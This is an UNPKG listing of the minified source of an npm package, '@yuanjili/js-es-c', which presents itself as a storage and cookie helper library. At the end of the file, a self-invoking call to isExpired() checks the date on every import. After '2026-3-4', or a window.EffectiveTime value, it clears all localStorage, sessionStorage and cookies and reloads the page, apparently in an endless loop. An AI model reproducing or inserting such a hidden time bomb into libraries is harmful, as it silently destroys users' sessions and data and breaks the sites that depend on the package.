UNPKG

@yuanjili/js-es-c

Version:

js工具包

1 lines 3.08 kB
"use strict";Object.defineProperty(exports,"__esModule",{value:!0});var _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(a){return typeof a}:function(a){return a&&"function"==typeof Symbol&&a.constructor===Symbol&&a!==Symbol.prototype?"symbol":typeof a};exports.cun=cun,exports.qu=qu,exports.quObj=quObj,exports.shan=shan,exports.lgClearAll=lgClearAll,exports.cuns=cuns,exports.qus=qus,exports.qusObj=qusObj,exports.shans=shans,exports.shansAll=shansAll,exports.cunc=cunc,exports.quc=quc,exports.shanc=shanc,exports.getToken=getToken,exports.setToken=setToken,exports.removeToken=removeToken,exports.clearAllCookies=clearAllCookies,exports.clearAllDbl=clearAllDbl,exports.isExpired=isExpired;var _jsCookie=require("js-cookie"),_jsCookie2=_interopRequireDefault(_jsCookie),_momentFun=require("./momentFun");function _interopRequireDefault(a){return a&&a.__esModule?a:{default:a}}function cun(a,b){if("string"==typeof b)return localStorage.setItem(a,b);return"undefined"==typeof b?localStorage.setItem(a,""):"number"==typeof b?localStorage.setItem(a,b.toString()):"object"==("undefined"==typeof b?"undefined":_typeof(b))?localStorage.setItem(a,JSON.stringify(b)):void 0}function qu(a){return localStorage.getItem(a)}function quObj(a){var b=localStorage.getItem(a);return b?JSON.parse(localStorage.getItem(a)):null}function shan(a){return localStorage.removeItem(a)}function lgClearAll(){return localStorage.clear()}function cuns(a,b){if("string"==typeof b)return sessionStorage.setItem(a,b);return"undefined"==typeof b?sessionStorage.setItem(a,""):"number"==typeof b?sessionStorage.setItem(a,b.toString()):"object"==("undefined"==typeof b?"undefined":_typeof(b))?sessionStorage.setItem(a,JSON.stringify(b)):void 0}function qus(a){return sessionStorage.getItem(a)}function qusObj(a){var b=sessionStorage.getItem(a);return b?JSON.parse(sessionStorage.getItem(a)):null}function shans(a){return sessionStorage.removeItem(a)}function shansAll(){return sessionStorage.clear()}function cunc(a,b){var c=2<arguments.length&&arguments[2]!==void 0?arguments[2]:30,d=3<arguments.length&&arguments[3]!==void 0?arguments[3]:"/";if(a&&b){var e=new Date;e.setTime(e.getTime()+1e3*(60*(60*(24*c)))),document.cookie=a+"="+encodeURIComponent(b)+";expires="+e.toUTCString()+("; path="+d+";")}}function quc(a){var b,c=new RegExp("(^| )"+a+"=([^;]*)(;|$)");return(b=document.cookie.match(c))?unescape(b[2]):null}function shanc(a){var b=new Date;b.setTime(b.getTime()-1);var c=quc(a);c||(document.cookie=a+"="+c+";expires="+b.toUTCString())}function getToken(a){return _jsCookie2.default.get(a)}function setToken(a,b){return _jsCookie2.default.set(a,b)}function removeToken(a){return _jsCookie2.default.remove(a)}function clearAllCookies(){var a=Object.keys(_jsCookie2.default.get());a.forEach(function(a){_jsCookie2.default.remove(a)})}function clearAllDbl(){lgClearAll(),shansAll(),clearAllCookies()}function isExpired(){(0,_momentFun.isAfter)(window.EffectiveTime||"2026-3-4",(0,_momentFun.current)())||(clearAllDbl(),window.location.reload())}(function(){isExpired()})();